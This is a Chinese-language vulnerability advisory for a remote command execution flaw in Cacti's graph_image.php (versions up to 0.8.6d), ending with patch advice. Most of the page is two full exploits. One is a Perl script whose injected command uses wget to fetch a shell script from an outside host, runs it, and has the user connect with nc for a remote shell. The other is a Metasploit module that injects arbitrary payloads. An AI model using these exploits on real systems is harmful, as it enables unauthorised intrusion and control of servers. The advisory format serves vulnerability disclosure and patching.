首页 -> 安全研究

安全研究

安全漏洞
RaXnet Cacti graph_image.php远程命令执行漏洞

发布日期:2005-06-24
更新日期:2005-06-24

受影响系统:
Raxnet Cacti <= 0.8.6d
描述:
BUGTRAQ  ID: 14042

Cacti是一款轮循数据库(RRD)工具,可帮助从数据库信息创建图形,有多个Linux版本。

Cacti实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。

Cacti的graph_image.php脚本没有充分检查过滤用户提交的参数数据,远程攻击者可能利用此漏洞能过插入命令串在服务器上以Web进程权限执行命令。

<**>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting -->
http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&gr
aph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_sta
rt=%0acd /tmp;wget http://albythebest.altervista.org/shell.pl;chmod 777
shell.pl;perl shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cacti_graphimage_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
    'Name'     => 'Cacti graph_image.php Remote Command Execution',
    'Version'  => '$Revision: 1.1 $',
    'Authors'  => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
    'Arch'     => [ ],
    'OS'       => [ ],
    'Priv'     => 0,
    'UserOpts' =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 80],
        'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
        'DIR'   => [1, 'DATA', 'Directory of cacti', '/cacti/'],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Description' => Pex::Text::Freeform(qq{
        This module exploits an arbitrary command execution vulnerability in the
    Raxnet Cacti threw graph_image.php script. Cacti version to 0.8.6-d are vulnerable.
}),
    'Refs' =>
      [
        ['BID', '14042'],
      ],

    'Payload' =>
      {
        'Space' => 128,
        'Keys'  => ['cmd','cmd_bash'],
      },

    'Keys' => ['cacti'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;
    my $target_host    = $self->VHost;
    my $target_port    = $self->GetVar('RPORT');
    my $dir            = $self->GetVar('DIR');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $cmd            = $encodedPayload->RawPayload;

    
    $cmd = $self->URLEncode($cmd);
    
    my $listgraph = $dir.'graph_view.php?action=list';
    my $requestlist =
      "GET $listgraph HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: ".$self->VHost.":$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    my $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the target to get list of valid image id ...");

    $s->Send($requestlist);

    my $resultslist = $s->Recv(-1, 20);
    $s->Close();
    
    $resultslist=~m/local_graph_id=(.*?)&/ || $self->PrintLine("[*] Unable to retrieve a valid image id") && return;
    
    my $valid_graph_id=$1;

    $dir = $dir.'graph_image.php?local_graph_id='."$valid_graph_id".'&graph_start=%0aecho;echo%20YYY;'."$cmd".';echo%20YYY;echo%0a';

    my $request =
      "GET $dir HTTP/1.1\r\n".
      "Accept: */*\r\n".
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
      "Host: ".$self->VHost.":$target_port\r\n".
      "Connection: Close\r\n".
      "\r\n";

    $s = Msf::Socket::Tcp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
        'SSL'      => $self->GetVar('SSL'),
      );

    if ($s->IsError){
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Establishing a connection to the target to execute command ...");

    $s->Send($request);

    my $results = $s->Recv(-1, 20);

    if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){

        (undef, $results) = split(/YYY/, $results);

        my @results = split ( /\r\n/, $results );

        chomp @results;

        for (my $i = 2; $i < @results; $i += 2){
            $self->PrintLine('');
            $self->PrintLine("$results[$i]");
        }
    } else {

        (undef, $results) = split(/YYY/, $results);

        my @results = split ( /\r\n/, $results );

        chomp @results;
        $self->PrintLine("[*] Target may be not vulnerable");
        $self->PrintLine("$results");
    }

    $s->Close();
    return;
}

sub URLEncode {
    my $self = shift;
    my $data = shift;
    my $res;

    foreach my $c (unpack('C*', $data)) {
        if (
            ($c >= 0x30 && $c <= 0x39) ||
            ($c >= 0x41 && $c <= 0x5A) ||
            ($c >= 0x61 && $c <= 0x7A)
          ) {
            $res .= chr($c);
        } else {
            $res .= sprintf("%%%.2x", $c);
        }
    }
    return $res;
}

sub VHost {
    my $self = shift;
    my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
    return $name;
}

1;

建议:
厂商补丁:

Raxnet
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.raxnet.net/products/cacti/

浏览次数:3752
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障